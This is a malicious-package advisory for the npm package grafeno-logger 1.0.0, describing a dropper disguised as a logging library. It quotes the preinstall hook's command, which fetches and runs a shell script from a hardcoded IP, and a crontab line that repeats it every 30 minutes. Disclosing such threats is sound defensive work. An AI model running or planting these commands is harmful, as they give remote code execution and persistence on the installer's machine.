VYPR

npm · Malicious package advisory

Malware

grafeno-logger

GHSA-pv35-j495-vmj4

Malicious code in grafeno-logger (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413)
[email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs `curl -s 216.126.236.46/x.sh | sh` via child_process.execSync, fetching and executing an arbitrary shell script from a hardcoded bare IP over plain HTTP on `npm install`. The same preinstall step appends a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh | sh`, establishing recurring remote code execution every 30 minutes under the installing user. The shipped index.js is a two-line stub that re-exports console.log/console.error, providing no real logging functionality — the library surface is a decoy for the install-time payload.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-logger/MAL-2026-15506.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-logger/MAL-2026-15506.json
- https://www.npmjs.com/package/grafeno-logger/v/1.0.0
- https://github.com/ossf/malicious-packages/blob/8ac98a94823b43b171a069b6c33a521677e7718e/osv/malicious/npm/grafeno-logger/MAL-2026-15506.json
- https://www.npmjs.com/package/grafeno-logger/v/1.0.1
- https://github.com/advisories/GHSA-pv35-j495-vmj4

Compromised versions (1)

  • = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.